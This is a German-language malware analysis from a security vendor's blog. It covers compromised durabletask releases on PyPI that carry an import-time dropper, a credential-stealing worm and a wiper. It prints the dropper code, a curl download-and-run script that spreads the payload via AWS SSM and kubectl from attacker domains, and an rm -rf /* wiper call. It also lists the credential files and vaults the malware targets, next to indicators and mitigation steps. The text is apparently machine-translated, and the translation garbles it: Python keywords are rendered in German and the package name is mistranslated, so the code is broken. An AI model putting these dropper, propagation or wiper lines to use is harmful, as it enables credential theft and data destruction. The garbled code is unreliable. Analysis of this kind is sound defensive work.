Aikido

Das „durabletask“-Paket von Microsoft auf PyPi wurde kompromittiert. Mini Shai Hulud schlägt erneut zu … schon wieder!

Verfasst von
Raphael Silva

Wir haben drei schädliche Versionen von dauerhafte Aufgabe auf PyPI, 1.4.1, 1.4.2, und 1.4.3, die einen Dropper enthalten, der direkt in die Python-Quelldateien des Pakets eingeschleust wurde. Wenn ein Entwickler eine dieser Versionen installiert und die Bibliothek importiert, ruft der Dropper unbemerkt eine Payload der zweiten Stufe von einer drei Tage alten C2-Domain ab und führt sie aus.

Diese zweite Stufe ist ein voll funktionsfähiger Infostealer und Wurm. Er sammelt Anmeldedaten von allen gängigen Cloud-Anbietern, Passwort-Managern und Entwicklertools, die er finden kann, verschlüsselt die Ergebnisse mit einem vom Angreifer kontrollierten RSA und sendet sie an den C2-Server. Läuft der Rechner in AWS, verbreitet er sich über SSM auf andere EC2-Instanzen. Befindet er sich in Kubernetes, verbreitet er sich über kubectl exec. Und wenn es israelische oder iranische Systemeinstellungen erkennt, besteht eine Wahrscheinlichkeit von 1 zu 6, dass es eine Audiodatei abspielt und anschließend rm -rf /*.

Das riecht zwar nach weiteren Machenschaften von TeamPCP, aber sicher wissen wir es noch nicht.

Was geschah

dauerhafte Aufgabe ist ein Python-Paket für das Durable Task Framework, eine Bibliothek zur Workflow-Orchestrierung, die mit Microsoft Azure verbunden ist. Es handelt sich um die Art von Paket, die man in cloud-nativen Python-Umgebungen erwarten würde, in denen Automatisierung, CI/CD oder mit Azure verbundene Workloads ausgeführt werden – und genau auf diese Art von Umgebung zielt diese Kampagne ab.

Ab Version 1.4.1, das Paket __init__.py wurde mit einem Dropper infiziert, der beim Importieren ausgeführt wird:

import OS
import Plattform
import subprocess
import urllib.request


if platform.system() == "Linux":
    versuche:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        mit open(os.devnull, "w") als f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except Ausnahme:
        pass

Der Dropper läuft ausschließlich unter Linux, arbeitet völlig unbemerkt und wird in einem separaten Prozess ausgeführt, der auch dann weiterläuft, wenn der übergeordnete Prozess beendet wird. Die breite außer: pass übergeht alle Fehler. Ein Entwickler, der import durabletask würde zum ersten Mal überhaupt nichts sehen.

Die Versionen erzählen eine Geschichte

Alle drei Versionen tragen denselben Dropper-Code, doch bei jeder neuen Version wurde dieser in mehr Dateien eingeschleust. Dies ist eine bewusste Strategie, um die Wahrscheinlichkeit zu maximieren, dass mindestens ein Importpfad die Schadfunktion auslöst.

Version Infizierte Dateien
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

Nach Version 1.4.3, feuert der Dropper von fünf verschiedenen Einstiegspunkten aus. Ein Entwickler, der nur from durabletask.entities import ... ist nach wie vor kompromittiert. Die C2-Domain, die URL der Nutzlast und die Dropper-Logik sind in allen drei Versionen byteweise identisch; die einzige Änderung betrifft den Umfang.

Die Nutzlast: rope.pyz

Der Dropper ruft ab rope.pyz von hxxps://check.git-service[.]com/rope.pyz. Die Domain wurde am 16. Mai 2026 registriert, drei Tage vor dieser Analyse. Sie wird über NameSilo mit Datenschutzregistrierung bereitgestellt.

rope.pyz ist eine Python-Zipapp: ein ZIP-Archiv mit einem __main__.py Ein Einstiegspunkt, den Python direkt ausführen kann. Er umfasst 19 Dateien, die in einer strukturierten Modulhierarchie angeordnet sind.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Bevor du irgendetwas tust, __main__.py führt vier Prüfungen durch:

  1. Plattform – wird beendet, wenn es sich nicht um Linux handelt.
  2. Ländereinstellung — wird beendet, wenn $LANG beginnt mit ru. Die Nutzlast läuft auf Systemen mit russischer Ländereinstellung nicht.
  3. Anzahl der CPUs — wird beendet, wenn os.cpu_count() <= 2. Das macht den meisten automatisierten Sandboxen ein Ende.
  4. Abhängigkeiten — wird im Hintergrund installiert cryptography über pip, falls nicht vorhanden, mit einem --system-pakete-löschen Ausweichlösung.

Erst nachdem alle vier Bedingungen erfüllt sind, wird die Steuerung an das Haupt-Orchestrierungsmodul übergeben.

Der FIRESCALE-Dead-Drop

Die Nutzlast meldet sich zunächst bei hxxps://check.git-service[.]com/v1/models. Wenn dieser Endpunkt HTTP 200wird der Antworttext als Base64-kodiertes Python-Skript behandelt und an roulette.py zur Ausführung – dies ist der Fernaktivierungskanal des Angreifers.

Ist der primäre C2 nicht erreichbar, greift die Nutzlast auf einen GitHub-basierten Dead-Drop zurück:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

Es durchsucht die Commit-Such-API von GitHub nach der Zeichenfolge FIRESCALE. Jeder übereinstimmende Commit wird auf das Muster überprüft:

FIRESCALE <base64_url>.<base64_signatue>

Die Base64-kodierte URL wird nur akzeptiert, wenn ihre RSASignatur anhand eines fest codierten 4096-Bit-öffentlichen Schlüssels verifiziert werden kann. Das bedeutet, dass nur der Angreifer – der Inhaber des entsprechenden privaten Schlüssels – eine gültige neue C2-Adresse veröffentlichen kann. Die GitHub-Such-API wird zu einem zensurresistenten, kryptografisch authentifizierten Fallback-Kanal. Wenn die primäre C2-Domain beschlagnahmt oder in ein Sinkhole umgeleitet wird, kann der Angreifer den Betrieb wieder aufnehmen, indem er einen einzigen öffentlichen Commit an einer beliebigen Stelle auf GitHub vornimmt.

Was es stiehlt

Die Erfassung erfolgt parallel über acht Module hinweg über ThreadPoolExecutor.

Passwortmanager. Die Schadsoftware zielt auf 1Password, Bitwarden, überspringen, und gopass. Bei jedem gesperrten Tresor versucht es, diesen zu entsperren, indem es Umgebungsvariablen nach Mustern wie *PASS*, *GEHEIM*, und BW_*, das Auswerten von Shell-Verlaufsdateien für bw entsperren und Anmelden Aufrufe und anschließend das Ausprobieren der literalen Zeichenkette „Anonym“ als allerletzter Ausweg. Wenn es ins System gelangt, löscht es alles.

Anmeldedateien. Es werden über 90 fest codierte Dateipfade ausgelesen. Die Liste ist umfassend: AWS-Anmeldedaten, GCP-Standardanmeldedaten für Anwendungen, Azure-Zugriffstoken, ~/.kube/config, ~/.vault-token, ~/.ssh/ (jede Datei), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env Dateien im gesamten Home-Verzeichnis, Terraform-State-Dateien (die häufig secrets im Klartext enthalten) sowie VPN-Konfigurationen, einschließlich Tailscale-State- und WireGuard-Dateien .conf Dateien.

Die Liste zielt zudem speziell auf Entwicklungswerkzeuge für KI ab: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.jsonsowie Konfigurationen für Zed, Continue, Kilo und OpenCode.

Docker. Die Nutzlast fragt den socket /var/run/docker.sock direkt, indem alle Container aufgelistet und deren Umgebungsvariablen extrahiert werden. Als container übergebene Cloud sind ein gängiges Muster in Docker-basierten CI/CD-Konfigurationen.

AWS. Anmeldedaten werden zunächst aus Umgebungsvariablen, dann aus dem EC2-Instanz-Metadatendienst (IMDS) und schließlich aus allen benannten Profilen in ~/.aws/credentials. Für jeden Anmeldedatensatz durchsucht die Nutzlast gleichzeitig Secrets AWS Secrets und den SSM Parameter Store in allen 19 AWS-Regionen, einschließlich GovCloud. Dabei werden alle geheimen Werte abgerufen, wobei Mit Entschlüsselung: True für SSM. Außerdem werden alle von SSM verwalteten EC2-Instanzen für den unten beschriebenen Übertragungsschritt aufgelistet.

Azure. Die Nutzlast löst Token über Client-Anmeldedaten, zertifikatsbasierte JWT-Assertions und den Azure-CLI-Token-Cache unter ~/.azure/accessTokens.jsonoder Azure IMDS (verwaltete Identität). Mit einem gültigen Token listet es alle Abonnements sowie alle Key Vaults in jedem Abonnement auf und ruft jedes Geheimnis aus jedem Vault ab.

GCP. Anmeldedaten werden aufgelöst aus $GOOGLE_APPLICATION_CREDENTIALS, die Standard-Anmeldedaten-Datei der Anwendung oder GCP IMDS. Die Payload generiert OAuth2-JWTs selbst und ruft alle Geheimnisse aus dem GCP Secret Manager ab.

Kubernetes. Der Zugriff wird über ~/.kube/config in allen Kontexten, von Token für Dienstkonten innerhalb des Clusters oder über kubectl. Wenn kubectl nicht installiert ist, lädt die Payload sie vom offiziellen Kubernetes-Release-CDN herunter auf /tmp/kubectl. Jeder Secret in jedem Namespace in jedem Kontext wird abgerufen und Base64-dekodiert.

HashiCorp Vault. Die Nutzlast löst das Vault-Token aus $VAULT_TOKEN, ~/.vault-token, Anmeldedaten für AppRole oder Token aus dem Tresor drucken. Anschließend durchläuft es rekursiv alle KV-Mounts der Versionen v1 und v2 und ruft dabei jeden geheimen Pfad ab. Die SSL-Überprüfung ist deaktiviert, um selbstsignierte interne Vault-Bereitstellungen zu unterstützen.

Alle erfassten Daten werden mit gzip komprimiert und mit AES-256-GCM verschlüsselt. Der sitzungsspezifische AES-Schlüssel wird unter Verwendung des fest programmierten öffentlichen Schlüssels des Betreibers mit RSA verschlüsselt. Nur der Angreifer kann ihn entschlüsseln.

Die Exfiltration erfolgt nach einem dreistufigen Fallback-Verfahren:

  1. POST an hxxps://check.git-service[.]com/api/public/version
  2. An eine über den FIRESCALE-Dead-Drop aufgelöste Mutterschiff-URL senden
  3. Sollte in den gesammelten Daten ein gestohlenes GitHub-Token gefunden werden, erstelle eine Datei mit einem zufälligen Namen öffentlich GitHub-Repository und lade das verschlüsselte Bundle als results.json

Die Namen der GitHub-Fallback-Repos stammen aus einer Wortliste der russischen Folklore: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHYund andere. Die Benennung ist kein zufälliges Durcheinander – es handelt sich um einen stabilen Operator-Fingerabdruck.

Vermehrung von Würmern

Nachdem secrets gesammelt wurden, verbreitet sich die Nutzlast.

AWS SSM. Nachdem die EC2-Instanzen während der Erfassung der Anmeldedaten aufgelistet wurden, sendet die Nutzlast eine ssm:Befehl senden (unter Verwendung der AWS-RunShellScript Dokument) auf bis zu fünf Online-Instanzen, die nicht unter Windows laufen:

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

Eine Marker-Datei unter ~/.cache/.sys-update-check verhindert eine erneute Infektion durch denselben Host. Die URL der sekundären Nutzlast hxxps://t.m-kosche[.]com/rope.pyz dient als Ausweichlösung, falls der primäre C2-Server ausfällt.

Kubernetes. Bei Ausführung innerhalb eines K8s-Clusters wird die Nutzlast kubectl execFührt dasselbe „Download-and-Run“-Skript in bis zu fünf laufenden Pods aus und überspringt dabei den aktuellen. Ein separater Marker an ~/.cache/.sys-update-check-k8s verfolgt die Ausbreitung von K8 unabhängig.

Der Scheibenwischer

Wenn der primäre C2 zurückkehrt HTTP 200 von /v1/models, löst die Antwort aus roulette.py. Dieses Modul verfügt über zwei Funktionen: die Einrichtung der Persistenz und das Löschen von Festplatten.

Beharrlichkeit. Die Base64-dekodierte C2-Antwort wird in die Datei /usr/bin/pgmonitor.py (als Root) oder ~/.local/bin/pgmonitor.py (ohne Root-Rechte) und als systemd-Dienst mit dem Namen pgsql-monitor.service, der als „PostgreSQL-Monitor“ bezeichnet wird. Der Dienst startet bei einem Ausfall automatisch neu.

Scheibenwischer. Das Modul überprüft, ob die Systemeinstellungen auf Israel oder den Iran ausgerichtet sind, indem es $TZ für Zeichenfolgen wie Jerusalem, Tel Aviv, und Teheran; Lesen /etc/timezone und /etc/localtime Binärdaten; und Überprüfung $LANG, $LC_ALL, und $LC_MESSAGES gegen he_IL oder fa_IR. Bei einer Wahrscheinlichkeit von 1 zu 6 läuft es so ab:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Es lädt eine Audiodatei von hxxps://check.git-service[.]com/audio.mp3, stellt die Systemlautstärke über pactlund spielt es über MPV, und löscht anschließend die Festplatte. Der Ton wird bewusst vor dem Löschvorgang abgespielt. Es handelt sich hierbei nicht um einen automatisierten Hintergrundprozess; der Angreifer löst ihn bewusst für jedes Opfer einzeln aus, indem er 200 OK vom Check-in in Halle C2.

Erkennung und Mitigation

Wenn Sie installiert haben dauerhafte Aufgabe 1.4.1, 1.4.2 oder 1.4.3, gehen Sie davon aus, dass der Host kompromittiert ist. Die Payload wurde ausgeführt, sobald das Paket importiert wurde.

Überprüfen Sie zunächst, ob die Marker-Datei vorhanden ist:

~/.cache/.sys-update-check

Seine Anwesenheit bestätigt, dass der Wurm auf diesem Rechner ausgeführt wurde. Überprüfen ~/.cache/.sys-update-check-k8s separat für die Kubernetes-Weitergabe.

Suchen Sie nach dem Persistenzdienst:

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Blockieren und drehen:

  • Alle auf dem betroffenen Host vorhandenen Cloud-Anmeldedaten (AWS, Azure, GCP)
  • Alle SSH-Schlüssel unter ~/.ssh/
  • Alle Token für Kubernetes-Dienstkonten
  • Alle HashiCorp Vault-Token
  • GitHub-Tokens und PATs – und nach neuen öffentlichen Repositorys suchen, deren Namen sich aus diesen Tokens zusammensetzen und an russische Folklore angelehnt sind
  • npm, pipund Paket-Registrierungs-Token
  • Alles in ~/.docker/config.json
  • Alle in der Umgebung gespeicherten secrets auf dem Rechner festgelegt wurden
  • Inhalt von .env Dateien im Home-Verzeichnis
  • Alle Terraform-State-Dateien auf dem Host

Falls der Host innerhalb von AWS mit SSM-verwalteten Instanzen im selben Konto ausgeführt wurde, überprüfen Sie AWS CloudTrail auf Befehl senden Aktivitäten der kompromittierten Instanz und untersuchen Sie alle Instanzen, mit denen sie Kontakt hatte. Verfahren Sie bei Kubernetes ebenso: Überprüfen Sie die Audit-Protokolle auf exec Befehle, die von dem infizierten Pod stammen.

Blockierung auf Netzwerkebene:

  • check.git-service[.]com
  • t.m-kosche[.]com

Indikatoren für Kompromittierung

Bösartige Pakete:

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hash-Werte:

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Domains und URLs:

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Domain-Registrierung:

  • git-service.com — registriert am 16.05.2026 (3 Tage vor der Analyse), NameSilo, mit Datenschutz

Auf dem Computer des Opfers erstellte Dateien:

  • /tmp/managed.pyz — Abwurf der ersten Nutzlast
  • ~/.cache/.sys-update-check — Ausbreitungsmarker (Artefakt bei der Tastenerkennung)
  • ~/.cache/.sys-update-check-k8s — Kubernetes-Propagationsmarker
  • /usr/bin/pgmonitor.py oder ~/.local/bin/pgmonitor.py — Persistenz-Nutzlast
  • /etc/systemd/system/pgsql-monitor.service oder ~/.config/systemd/user/pgsql-monitor.service — Persistenzdienst
  • /tmp/kubectl — kubectl-Binärdatei herunterladen, falls sie auf dem Host nicht vorhanden ist

Kampagnen-Strings:

  • FIRESCALE — „dead-drop“-Beacon-Zeichenfolge in der GitHub-Commit-Suche
  • pgsql-monitor.service — Name des Persistenzdienstes
  • PostgreSQL-Monitor — Beschreibung des Persistenzdienstes, die als Deckmantel dient
  • Namen aus der russischen Volksdichtung: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOYund andere

Wie Aikido dies erkennt

Wenn Sie Aikido , überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem angezeigt. Aikido jede Nacht Aikido , wir empfehlen jedoch, jetzt einen manuellen Scan auszulösen.

Wenn Sie noch kein Aikido sind, können Sie ein Konto erstellen und Ihre Repositories verbinden. Der Schutz vor Malware ist im kostenlosen Tarif enthalten.

Zum Schutz vor zukünftigen Bedrohungen fängt Aikido Chain“ (Open Source) Befehle zur Paketinstallation ab und gleicht sie mit den Daten von Aikido ab, bevor etwas ausgeführt wird.

Teilen:

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

Nachrichten abonnieren

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.